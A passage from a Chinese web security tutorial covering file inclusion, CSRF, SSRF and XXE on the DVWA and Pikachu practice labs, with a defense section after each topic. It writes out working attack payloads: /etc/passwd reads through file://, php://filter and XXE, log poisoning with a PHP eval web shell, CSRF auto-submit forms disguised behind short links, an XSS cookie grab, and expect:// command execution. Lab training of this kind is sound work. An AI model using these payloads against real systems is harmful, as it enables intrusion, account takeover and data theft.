而且” ../”、”..\”替换为空字符,那么对于绝对路径来讲,是不受任何影响的。
High
查看源码:
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Input validation if( !fnmatch( "file*", $file ) && $file != "include.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>
可以看到,这里用了fnmatch函数
fnmatch() 函数根据指定的模式来匹配文件名或字符串 语法: fnmatch(pattern,string,flags) pattern 必需。规定要检索的模式。 string 必需。规定要检查的字符串或文件。 flags 可选。
限制了page参数的开头必须是file,但是可以用file://协议进行文件读取从而实现绕过
http://127.0.0.1/vulnerabilities/fi/?page=file:///etc/passwd
Impossible
查看源码
<?php // The page we wish to display $file = $_GET[ 'page' ]; // Only allow include.php or file{1..3}.php if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) { // This isn't the page we want! echo "ERROR: File not found!"; exit; } ?>
白名单方式,文件名写死了,其他文件都不可能包含。
远程文件包含
远程文件包含是指包含非被攻击机器上的文件。
此处我们使用dvwa的文件包含漏洞包含 upload-labs 中的文件;
- dvwa ip: 172.17.0.3
- upload-labs ip: 172.17.0.2
访问 dvwa 的文件包含漏洞,此处我们使用的是 Low 级别
page参数改为远程服务器的文件地址;此处注意包含的远程文件不能为php文件, 保证不被远程解析,否则不是在dvwa机
器上执行
http://127.0.0.1:8080/vulnerabilities/fi/?page=http://172.17.0.2/upload/phpinfo.txt
文件包含getshell
中间件日志包含绕过
DVWA中,apache2日志文件路径为: /var/log/apache2/access.log
包含日志文件,需要先对文件和目录添加权限,让web端有权限去访问:
chmod 755 /var/log/apache2 chmod 644 /var/log/apache2/access.log
修改完权限之后,访问
http://127.0.0.1:8080/vulnerabilities/fi/?page=/var/log/apache2/access.log http://127.0.0.1:8080/vulnerabilities/fi/?page=<?php phpinfo();?>
因浏览器会进行url编码,使用burp抓包进行修改,将编码字符改为原字符
让access.log 文件记录中包含PHP代码 <?php phpinfo(); ?>
之后使用同样的方式写入一句话木马 <?php eval(@$_POST['a']);?>
后,用蚁剑进行连接
用蚁剑连接时需要加上cookie
- 既然能包含文件上传漏洞所上传的图片马,那日志文件是txt,理论上说也能包含(需要日志文件和对应目录具备读写权限)
- 利用文件包含漏洞去包含日志文件的时候,因为 dvwa 本身需要登录,所以直接包含不成功,需要在蚁剑中添加 cookie,才能包含到。
配合文件上传Getshell
攻击思路:
- 把代码+图片合在一起,最终看到还是一个图片,只是这个图片中有代码
- 上传一个带有代码的jpg图片
- 以文件包含漏洞来执行图片的php代码
直接在 File Upload 模块上传 muma.jpg ,上传成功,获得上传路径
利用文件包含访问图片码,直接在URL page= 后面输入返回的上传路径即可
使用蚁剑进行连接,输入地址:
http://127.0.0.1:8080/vulnerabilities/fi/?page=../../hackable/uploads/muma.jpg
- 由于文件包含,需要登录 DVWA ,在未登录的状态下,会导致连接不成功,可以直接把已经登录的Cookie 信息在编辑 shell 配置添加到 Header 头里,这样就可以了
- 在已经登录 DVWA 页面,按F12 键,获取 Cookie
文件包含漏洞防御
1、设置白名单(文件名可以确定)
2、过滤危险字符(判断文件名称是否为合法的php文件)
3、设置文件目录权限(对可以包含的文件进行限制,可以使用白名单的方式,或者设置可以包含的目录)
4、关闭危险配置(无需远程情况下设置allow_url_include和allow_url_fopen为关闭)
5、严格检查include类的文件包含函数中的参数是否外界可控
CSRF 攻防
主要内容:
- CSRF 漏洞概述及原理
- CSRF 快速拖库攻击还原
- CSRF 管理员密码修改还原
- CSRF 进行地址修改及钓鱼攻击还原
- CSRF 漏洞安全防范
简介
跨站请求伪造(也称 CSRF),是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法,允许攻击者诱导用户执行他们不打算执行的操作。当用户访问含有恶意代码的网页时,会向指定正常网站发送非本人意愿的数据请求包,如果此时用户恰好登录了该正常网站(也就是身份验证是正常的)就会执行该恶意代码的请求,从而造成CSRF漏洞。
该漏洞允许攻击者部分规避同源策略,该策略旨在防止不同网站相互干扰。
其中Web A为存在CSRF漏洞的网站,Web B为攻击者构建的恶意网站,User C为Web A网站的合法用
户。
CSRF攻击原理及过程如下:
- 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
- 在用户信息经过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送 请求到网站A;
- 用户未退出网站A之前,在同一浏览器中打开一个TAB页访问网站B;
- 网站B接受到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
- 浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A 发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求, 导致来自网站B的恶意代码被执行。
要使 CSRF 攻击成为可能,必须具备三个关键条件:
- 一个功能操作 。应用程序中存在攻击者有可能诱导用户的操作。这可能是特权操作(例如修改其他用户的权限)或对用户特定数据的任何操作(例如更改用户的邮箱、密码)。
- 基于 Cookie 的会话处理 。执行该操作涉及发出一个或多个 HTTP 请求,并且应用程序仅依赖会话cookie 来识别发出请求的用户,没有其他机制可用于跟踪会话或验证用户请求。
- 没有不可预测的请求参数 。执行该操作的请求不包含攻击者无法确定或猜测其值的任何参数。例如,当用户更改密码时,如果攻击者需要知道现有密码的值,则该功能不会受到攻击,因为攻击者预先构造的恶意链接中无法提前预测并定义“现有密码”的值。
例如,假设一个应用程序包含一个允许用户更改其帐户上的电子邮件地址的功能。当用户执行此操作时,他们会发出如下 HTTP 请求:
POST /email/change HTTP/1.1 Host: vulnerable-website.com Content-Type: application/x-www-form-urlencoded Content-Length: 30 Cookie: session=yvthwsztyeQkAPzeQ5gHgTvlyxHfsAfE [email protected]
这符合 CSRF 所需的条件:
- 攻击者对更改用户帐户上的电子邮件地址的操作很感兴趣。执行此操作后,攻击者通常能够触发密码重置并完全控制用户的帐户。
- 应用程序使用会话 cookie 来识别发出请求的用户。没有其他令牌或机制来跟踪用户会话。
- 攻击者可以轻松确定执行操作所需的请求参数的值。
有了这些条件,攻击者就可以构建一个包含以下 HTML 的网页:
<html> <body> <form action="https://vulnerable-website.com/email/change" method="POST"> <input type="hidden" name="email" value="[email protected]" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
如果受害者用户访问攻击者的网页,将会发生以下情况:
- 攻击者的页面将触发对易受攻击的网站的 HTTP 请求。
- 如果用户已经登录到易受攻击的网站,他们的浏览器将自动在请求中包含他们的会话 cookie(假设未使用SameSite cookie )。
- 易受攻击的网站将以正常方式处理请求,将其视为由受害者用户发出,并更改其电子邮件地址。
DVWA演示
CSRF
Low级别
<?php if( isset( $_GET[ 'Change' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } mysql_close(); } ?>
从源代码可以看出这里只是对用户输入的两个密码进行判断,看是否相等;不相等就提示密码不匹配。
相等的话,查看有没有设置数据库连接的全局变量和其是否为一个对象。如果是的话,用mysqli_real_escape_string()函数去转义一些字符,如果不是的话输出错误。是同一个对象的话,再用md5进行加密,更新数据库。
知道了这些之后,我们尝试修改密码为123456,可以看到修改成功
看到顶部的URL是
http://127.0.0.1:8080/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
根据上面的url,进行构造payload:
http://127.0.0.1:8080/vulnerabilities/csrf/?password_new=aaa&password_conf=aaa&Change=Change#
可以看到,直接跳转到了密码成功的页面了
但是,这样的payload,一般人都可以看出来存在陷阱,往往不会去点击,因此我们还需要进一步伪
装,把它缩短。
短网址链接:https://www.ft12.com/
得到一个短的url:http://985.so/cycv
提醒一句,以后但凡看见很短的url,然后以很不常见的格式出现,千万别着急点击浏览。
点击短网址之后,现在的密码已经变成 aaa,不再是123456
Medium级别
docker run -d --name dvwa -p 8080:80 -p 33060:3306 sagikazarmark/dvwa docker run -d --name dvwa2 -p 8082:80 -p 33062:3306 citizenstig/dvwa # csrf Medium 代码与课件对应,用的 eregi 函数,所以用这个
<?php if( isset( $_GET[ 'Change' ] ) ) { // Checks to see where the request came from if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) { // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } } else { // Didn't come from a trusted source echo "<pre>That request didn't look correct.</pre>"; } mysql_close(); } ?>
medium类型的代码在 Low 的基础上增加了eregi函数,函数在一个字符串搜索指定模式的字符串,搜索不区分大小写。在 HTTP 报文中的 REFERER 参数 ( $_SERVER[ 'HTTP_REFERER' ] )
中搜索 HOST 参数 ( $_SERVER[ 'SERVER_NAME' ] )
。
if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) )
- HTTP_REFERER 表示发送请求的来源;
- SERVER_NAME 表示配置默认的二级域名,不会是当前的域名;
- HTTP_HOST 是当前的 url 头部;
- HTTP_HOST = SERVER_NAME : SERVER_PORT
点击修改密码,用brup抓包,将referer中的127.0.0.1去掉
结果返回,修改失败;默认不去掉referer的情况下会修改成功。
可以设置子域名的方式,攻击者的域名的子域名字符串包含网站域名,这样 Referer 中有了同域名的字符可以绕过php检查。
High级别
High级别的代码增加了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端请求。
浏览器 f12 查看 CSRF 中,html 的token 是随机变化的。正常情况下是很难绕过的。
抓包可以看到 GET 方法中增加了 token 验证
GET /vulnerabilities/csrf/?password_new=1&password_conf=2&Change=Change&user_token=2a0648ccc3a31a2b080b1a723706ab5f HTTP/1.1
<?php if( isset( $_GET[ 'Change' ] ) ) { // Check Anti-CSRF token checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' ); // Get input $pass_new = $_GET[ 'password_new' ]; $pass_conf = $_GET[ 'password_conf' ]; // Do the passwords match? if( $pass_new == $pass_conf ) { // They do! $pass_new = mysql_real_escape_string( $pass_new ); $pass_new = md5( $pass_new ); // Update the database $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';"; $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the user echo "<pre>Password Changed.</pre>"; } else { // Issue with passwords matching echo "<pre>Passwords did not match.</pre>"; } mysql_close(); } // Generate Anti-CSRF token generateSessionToken(); ?>
这个High安全等级主要是利用了DVWA的XSS漏洞和CSRF漏洞共同完成的,找到DVWA的XSS模块,通过XSS漏洞获取浏览器Cookie
1)利用XSS获取cookie
<img src=x OnerrOr=alert(document.cookie)>
PHPSESSID=hrcmlfmsim5ut4699l9t39t0s0; security=low
实战中是攻击者在某个页面插入了 xss 漏洞代码获取了用户的 cookie 值发送给了攻击者
2)抓包修改密码
把安全等级改成 low 就不需要验证 token 了
实战中是攻击者拿到用户的 cookie,使用用户的 cookie ,反安全等级设置为 low,删除请求中的token,就能成功修改密码。
Pikachu演示
电话地址修改 CSRF(GET)
一个登录表单,我们先进行登录。提示信息中给了我们用户名/密码
登录进去是一个可以修改个人信息的界面
在提交修改个人信息的时候,抓包看到下面内容
满足 csrf 的攻击条件:
- 修改用户个人信息
- 基于 cookie 的会话处理
- 没有不可预测的请求条件
复制出信息:
GET /vul/csrf/csrfget/csrf_get_edit.php? sex=man&phonenum=11111111111&add=beijing&email=xxxx%40xxx.com&submit=submit HTTP/1.1
修改电话号码与地址,例如:
GET /vul/csrf/csrfget/csrf_get_edit.php? sex=man&phonenum=22222222222&add=shanghai&email=xxx%40xxx.com&submit=submit HTTP/1.
然后添加补全URL地址,发送给被攻击者kobe(在另一个浏览器登录kobe账号)
http://127.0.0.1:8000/vul/csrf/csrfget/csrf_get_edit.php? sex=man&phonenum=22222222222&add=shanghai&email=xxx%40xxx.com&submit=submit
如果被攻击者kobe此时登录状态或cookie/session没有过期,则他的信息被修改。
可以看到,电话号码和地址都被修改。
钓鱼攻击 CSRF(POST)
当请求从get变为post,我们不能直接从URL里面进行修改
这时我们可以制作一个链接给用户,使他直接发送URL请求。
链接代码:
<html> <head> <script> window.onload = function() { document.getElementById("postsubmit").click(); } </script> </head> <body> <form method="post" action="http://127.0.0.1:8000/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="girl" /> <input id="phonenum" type="text" name="phonenum" value="100000002" /> <input id="add" type="text" name="add" value="hacker" /> <input id="email" type="text" name="email" value="[email protected]" /> <input id="postsubmit" type="submit" name="submit" value="submit" /> </form> </body> </html>
先选择一个用户进行登录
当登录后的用户点击我们伪造的链接,可以看到用户的个人信息已经被修改
重新登录该用户,发现信息确实被修改和保存
在实际当中我们可能把一个图片发送给用户,引导用户访问图片链接的恶意网站。
使用Burp生成CSRF利用POC
- 在 Burp Suite Professional 中的任意位置选择需要测试或利用的请求。
- 从右键单击上下文菜单中,选择 参与工具 –> 生成 CSRF PoC。
- Burp Suite 将生成一些 HTML 来触发选定的请求(减去 cookie,它将由受害者的浏览器自动添加)。
- 可以调整 CSRF PoC 生成器中的各种选项,以微调攻击的各个方面。可能需要在一些不寻常的情况下执行此操作以处理请求的古怪功能。
- 将生成的 HTML 复制到网页中,再登录到易受攻击网站的浏览器中查看,测试是否成功发出了预期的请求以及是否发生了所需的操作。
可以选择自动包含脚本
- option 中勾选 Include auto-submit script
- Regenerate 重新生成 html
<html> <!-- CSRF PoC - generated by Burp Suite Professional --> <body> <script>history.pushState('', '', '/')</script> <form action="http://124.222.171.19:8083/vul/csrf/csrfpost/csrf_post_edit.php" method="POST"> <input type="hidden" name="sex" value="a" /> <input type="hidden" name="phonenum" value="a" /> <input type="hidden" name="add" value="a" /> <input type="hidden" name="email" value="a" /> <input type="hidden" name="submit" value="submit" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
防御CSRF漏洞
防御 CSRF 攻击的最可靠方法是在相关请求中包含CSRF Token:
- 对于一般的会话令牌,是不可预测的
- 绑定到用户的会话
- 前端分配给用户 token 值后,后端还有个会话的部分,两者作比对
- 前端分配给用户 token 值后,后端还有个会话的部分,两者作比对
- 在执行相关操作之前,在每种情况下都经过严格验证
验证 HTTP Referer 字段
1)拿到referer
2)分割出referer中的域名
3)根据后缀匹配域名是否是可信域
根据 HTTP 协议,在 HTTP 头中有一个字段叫Referer,它记录了该 HTTP 请求的来源地址。因此,要防御 CSRF 攻击,网站可以对关键功能的请求验证其 Referer 值,如果是本网站的域名,则说明该请求是来自于网站本身,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求。
但些浏览器是可以改写 Referer 的,抓包工具也可以
在请求地址中添加 token 并验证
CSRF 攻击之所以能够成功,是因为黑客可以完全伪造用户的请求,该请求中所有的用户验证信息都是存在于 cookie 中,因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。
要抵御 CSRF,关键在于在请求中放入黑客所不能伪造的信息,并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
比如 dvwa 登录界面就有隐藏的 token
添加验证码
验证码被认为是对抗CSRF攻击最简洁而有效的防御方法。
CSRF攻击的过程,往往是在用户不知情的情况下构造了网络请求。而验证码,则强制用户必须与应用进行交互,才能完成最终请求。因此在通常情况下,验证码能够很好地遏制CSRF攻击。但是验证码并非万能。很多时候,出于用户体验考虑,网站不能给所有的操作都加上验证码。因此,验证码只能作为防御CSRF的一种辅助手段,而不能作为最主要的解决方案。
SSRF 漏洞
主要内容:
- SSRF 原理及寻找方法
- SSRF 攻防实战及防范方法
漏洞简介
CSRF:客户端请求伪造,攻击者伪造一个请求发送给客户端让用户去访问。
SSRF(Server-Side Request Forgery:服务器端请求伪造)是一种由攻击者构造形成,由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统。
漏洞原理
SSRF形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。
通过控制发起请求的Web服务器来当作跳板机攻击内网中其他服务。比如,通过控制前端的请求远程地址加载的响应,来让请求数据由远程的URL域名修改为请求本地、或者内网的IP地址及服务,来造成对内网系统的攻击。
漏洞危害
- 扫描内网开放服务
- 向内部任意主机的任意端口发送payload来攻击内网服务
- DOS攻击(请求大文件,始终保持连接Keep-Alive Always)
- 攻击内网的web应用,例如直接SQL注入、XSS攻击等
- 利用file、gopher、dict协议读取本地文件、执行命令等
检测与绕过
漏洞检测
假设一个漏洞场景:某网站有一个在线加载功能可以把指定的远程图片加载到本地,功能链接如下:
http://www.xxx.com/image.php?image=http://www.xxc.com/a.jpg
那么网站请求的大致步骤如下:
- 用户输入图片地址->请求发送到服务端解析->服务端请求链接地址的图片数据->获取请求的数据加载到前端显示。
这个过程中可能出现问题的点就在于访问请求发送到服务端的时候,图片加载请求是由服务端去加载的,而系统没有校验前端给定的参数是不是允许访问的地址域名,例如,如上的链接可以修改为:
http://www.xxx.com/image.php?image=http://127.0.0.1:22
如上请求时则可能返回请求的端口banner。如果协议允许,甚至可以使用其他协议来读取和执行相关命令。例如
http://www.xxx.com/image.php?image=file:///etc/passwd http://www.xxx.com/image.php?image=dict://127.0.0.1:22/data:data2 (dict可以向服务端 口请求data data2) http://www.xxx.com/image.php?image=gopher://127.0.0.1:2233/_test (向2233端口发送数 据test,同样可以发送POST请求) ......
对于不同语言实现的Web系统,可以使用的协议也存在不同的差异,其中:
- php:http、https、file、gopher、phar、dict、ftp、ssh、telnet…
- java:http、https、file、ftp、jar、netdoc、mailto…
判断漏洞是否存在的重要前提是,请求是服务器发起的,以上链接即使存在并不一定代表这个请求是服务器发起的。因此前提不满足的情况下,不需要考虑SSRF。
- www.xxx.com/index.php?page=/etc/passwd 文件包含,请求是客户端发起的
- www.xxx.com/index.php?image=file:///d:/etc/passwd SSRF,客户端请求www.xxx.com,而/etc/passwd 资源是 www.xxx.com 所在服务器去请求的。
验证是否是文件包含还是SSRF:
- 自己搭建个服务器并有个静态文件 www.hack.com/a.jpg
- 地址放漏洞网站里,看自己服务器日志,访问源是自客户端ip就是文件包含,是网站出口Ip就是ssrf。
- www.xxx.com/index.php?page=www.hack.com/a.jpg
- www.xxx.com/index.php?page=www.hack.com/a.jpg
用扫描器就能扫出来。
比如:前端获取链接后,由JS来获取对应参数交由windows.location来处理相关的请求,或者加载到当前的iframe框架中(这就相当于是由浏览器发起请求),此时并不存在SSRF ,因为请求是本地发起,并不能产生攻击服务端内网的需求。
漏洞出现点
分享
通过URL地址分享文章,例如如下地址:
http://share.xxx.com/index.php?url=http://127.0.0.1
通过URL参数的获取来实现点击链接的时候跳转到指定的分享文章。如果在此功能中没有对目标地址的范围做过滤与限制,则可能存在SSRF漏洞。
图片加载与下载
通过URL地址加载或下载图片
http://image.xxx.com/image.php?image=http://127.0.0.1
图片加载存在于很多的编辑器中,编辑器上传图片处,有的是加载本地图片到服务器内,还有一些采用加载远程图片的形式,本地文章加载了设定好的远程图片服务器上的图片地址,如果没对加载的参数做限制可能造成SSRF漏洞。
图片、文章收藏功能
http://title.xxx.com/title?title=http://title.xxx.com/as52ps63de
例如title参数是文章的标题地址,代表了一个文章的地址链接,请求后返回文章是否保存、收藏的返回信息。如果保存、收藏功能采用了此种形式保存文章,则在没有限制参数的形式下可能存在SSRF漏洞。
利用参数中的关键字来查找
例如以下的关键字:
share
wap
url
link
src
source
target
u
3g
display
sourceURl
imageURL
domain
...
漏洞绕过
部分存在漏洞,或者可能产生SSRF的功能中做了白名单或者黑名单的处理,来达到阻止对内网服务和资源的攻击和访问。因此想要达到SSRF的攻击,需要对请求的参数地址做相关的绕过处理,常见的绕过方式如下:
场景1:限制为 http://www.xxx.com 域名时
可以尝试采用http基本身份认证的方式绕过,通过添加@来构造URL:http://[email protected]。 在对@解析域名时,不同处理函数存在处理差异,例如:http://[email protected]@www.ccc.com, 在PHP的parse_url中会识别www.ccc.com,而libcurl则识别为www.bbb.com。
URL: 统一资源定位符 - 包含3部分: - URL方案:scheme - 服务器地址:ip:port - 资源路径: - 基本语法:建立在由9个部分构成的通用格式上: <scheme>://<user>:<password>@<host>:<port>/<path>;<params>?<query>#<frag> - params: 参数 示例:http://www.bamaface.com/bbs/hello;gender=f - query: 查询标准 示例:http://www.bamaface.com/bbs/item.php?username=tom&title=abc - frag: 片断,锚定 示例:https://access.redhat.com/documentation/en-US/Red_Hat_Enterprise_Linux/6/html-single/Installation_Guide/index.html#ch-Boot-x86
场景2:限制请求IP不为内网地址
场景3:限制请求只为http协议
采用302跳转,百度短地址,或者使用短地址生成
场景4:利用句号绕过
127。0。0。1 >>> 127.0.0.1
在一些特殊场景下,能把句号识别成点的场景使用
其他绕过形式可以查看:https://www.secpulse.com/archives/65832.html
查看是否存在SSRF漏洞
- 排除法:浏览器F12查看源代码看是否是在本地进行了请求
举例:资源地址类型为 http://www.xxx.com/a.php?image=%EF%BC%88%E5%9C%B0%E5%9D%80) 的就可能存在SSRF漏洞。 Dnslog等工具进行测试,查看是否被访问
生成一个域名用于伪造请求,看漏洞服务器是否发起 DNS 解析请求,若成功访问在 http://dnslog.cn 上就会有解析日志,查看是客户端地址还是服务端地址。
# dnslog.cn 点击Get subdomain,将得到的域名放到文件包含或者SSRF漏洞链接处理 http://www.xxx.com/a.php?image=http://bljjfg.dnslog.cn
- 抓包分析(wireshark)发送的请求是不是由服务器发送的,如果不是客户端发出的请求,则有可能是,接着找存在HTTP服务的内网地址。
- 访问日志检查:伪造请求到自己控制的公网服务器,然后在服务器上查看访问日志是否有来自漏洞服务器的请求。
- 扫描工具。
Pikachu演示
SSRF(curl)
首先我们大概了解一下在PHP中curl函数是用来干什么的。curl是一个库,能让你通过URL和许多不同的服务器进行交流,并且还支持多个协议,重点是可以用来请求Web服务器。curl可以支持https认证、http post、ftp上传、代理、cookies、简单口令认证等等功能。
打开目标网站,并根据提示点击。
- SSRF –> SSRF(curl) 点击文字
靶场有点问题文字显示不出来,返回url中多写了vul/,去掉就能显示
http://124.222.171.19:8083/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/vul/ssrf/ssrf_info/info1.php # 去掉多写的vul/ http://124.222.171.19:8083/vul/ssrf/ssrf_curl.php?url=http://127.0.0.1/vul/ssrf/ssrf_info/info1.php
观察URL,发现它传递了一个URL给后台
我们可以把URL中的内容改为百度
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?url=https://www.baidu.com http://127.0.0.1/vul/ssrf/ssrf_fgc.php?url=https://[email protected]
还可以利用file协议读取本地文件
http://127.0.0.1:8000/vul/ssrf/ssrf_curl.php?url=file:///etc/passwd
SSRF(file_get_content)
file_get_contents() 函数的作用是把整个文件读入一个字符串中,是用于将文件的内容读入到一个字符串中的首选方法。
php://filter:是一种元封装器, 设计用于数据流打开时的筛选过滤应用。 对于一体式(all-in-one)的文件函数非常有用,类似 readfile()、 file() 和 file_get_contents(),在数据流内容读取之前没有机会应用其他过滤器。
php://filter 目标使用以下的参数作为它路径的一部分,复合过滤链能够在一个路径上指定。详细使用这些参数可以参考具体范例。
名称 | 描述 |
resource=<要过滤的数 据流> | 这个参数是必须的。它指定了你要筛选过滤的数据流,即要读的文件。 |
read=<读链的筛选列表> | 该参数可选。可以设定一个或多个过滤器名称,以管道符( | )分隔。 |
write=<写链的筛选列表 > | 该参数可选。可以设定一个或多个过滤器名称,以管道符( | )分隔。 |
<;两个链的筛选列表> | 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。 |
file_get_contents里面带有php://filter 我们用它就可以来读取php源码,所以来构造URL:
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=php://filter/resource=ssrf.php(会被解析)
直接使用 resource 指定 ssrf.php 文件,可以看到访问成功
但是php文件被解析了,我们希望拿到网站的源代码,那么我们需要对代码做一层编码,不让它解析,拿到之后我们再进行解码,这样就拿到了网站的源代码;在read参数中加入 convert.base64-encode
http://127.0.0.1/vul/ssrf/ssrf_fgc.php?file=php://filter/read=convert.base64-encode/resource=ssrf.php
然后网页出现了base64编码的代码
利用解码工具或hackbar进行解码:https://base64.us/
漏洞修复
- 设置URL白名单或者黑名单内网IP;
- 尽量白名单
- 尽量白名单
- 过滤返回信息,验证远程服务器对请求的响应是比较容易的方法。如果Web应用是去获取某一种类型的文件,那么在将返回结果展示给用户之前先验证返回的信息是否符合标准;
- 禁用不需要的协议,仅仅允许http和https请求,可以防止类似于
file:///,gopher://,ftp://
等引起的
问题。
XXE 原理利用防御
主要内容:
- XXE 基础知识
- XXE 漏洞攻防测试
简介
XXE:XML External Entity(XML外部实体),从安全角度理解成XML External Entity attack(外部实体注入攻击)。由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的漏洞。
例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数是simplexml_load_string()。
XML外部实体
XML是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
首先让我们了解一下XML的基本结构,其中主要关注[DTD-实体]:
- XML 文档声明,在文档的第一行
- XML 文档类型定义,即DTD,XXE 漏洞所在的地方
- XML 文档元素
DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。DTD 可以在 XML 文档内声明,也可以外部引用。XML文档类型的声明如下:
内部声明DTD <!DOCTYPE 根元素 [元素声明]> 外部声明DTD <!DOCTYPE 根元素 SYSTEM "文件名"> 举例:<!DOCTYPE note SYSTEM "Note.dtd"> 或者 <!DOCTYPE 根元素 PUBLIC "public_ID" "文 件名">
实例1.1:内部声明DTD
<?xml version="1.0"?> //xml声明 <!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> //定义了note元素,并且note元素下面有4个子元 素 <!ELEMENT to (#PCDATA)> //定义了子元素to,后面的(#PCDATA)意思是to 元素里面的字符串内容不会被解析 <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]> //从<!DOCTYPE...到]>,是DTD文档的定义 <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note> //后面这部分就是XML文件内容
实例1.2:外部声明DTD
<?xml version="1.0"?> <!DOCTYPE note SYSTEM "note.dtd"> <note> <to>George</to> <from>John</from> <heading>Reminder</heading> <body>Don't forget the meeting!</body> </note>
这个note.dtd的内容就是:
<!DOCTYPE note [ <!ELEMENT note (to,from,heading,body)> <!ELEMENT to (#PCDATA)> <!ELEMENT from (#PCDATA)> <!ELEMENT heading (#PCDATA)> <!ELEMENT body (#PCDATA)> ]>
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用
内部声明实体 <!DOCTYPE 实体名称 "实体的值"> 引用外部实体 <!DOCTYPE 实体名称 SYSTEM "URL"> 或者 <!DOCTYPE 实体名称 PUBLIC "public_ID" "URL">
实例2.1:内部声明实体
<?xml version="1.0"?> <!DOCTYPE note[ <!ELEMENT note (name)> <!ENTITY hack3r "Hu3sky"> ]> <note> <name>&hack3r;</name> </note>
实例2.2:引用外部实体
外部实体用来引用外部资源,有两个关键字SYSTEM和PUBLIC两个,表示实体来自本地计算机还是公共计算机,外部实体的利用会用到协议如下:
不同语言下支持的协议:
- libxml2
- file
- http
- ftp
- file
- PHP
- file
- http
- ftp
- php
- compress.zlib
- compress.bzip2
- data
- glob
- phar
- file
- Java
- http
- https
- ftp
- file
- jar
- netdoc
- mailto
gopher *
- http
- .NET
- file
- http
- https
- ftp
- file
正因为外部实体支持的http、file等协议,那么就有可能通过引用外部实体进行远程文件读取。
危害
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
读取任意文件
PHP中可以通过FILE协议、HTTP协议和FTP协议读取文件,还可利用PHP伪协议。
<?xml version="1.0"?> <!DOCTYPE xxx[ <!ENTITY f SYSTEM "file:///etc/passwd"> ]> <hhh>&f;</hhh>
执行系统命令
这种情况很少发生,但在配置不当或者开发内部应用情况下(PHP expect模块被加载到了易受攻击的系统或处理XML的内部应用程序上),攻击者能够通过XXE执行代码。
<?xml version="1.0"?> <!DOCTYPE xxx[ <!ENTITY f SYSTEM "expect://id"> ]> <hhh>&f;</hhh>
Pikachu演示
我们先输入一个合法的xml文档:
<?xml version="1.0" encoding="UTF-8" ?> <!DOCTYPE note [ <!ENTITY hack "xxx"> ]> <name>&hack;</name>
提交之后,发现成功解析了,说明网页对输入的xml数据是有结果回显的
在服务端开启了DTD外部引用且没有对DTD对象进行过滤的情况下,可以利用DTD引用系统关键文件:
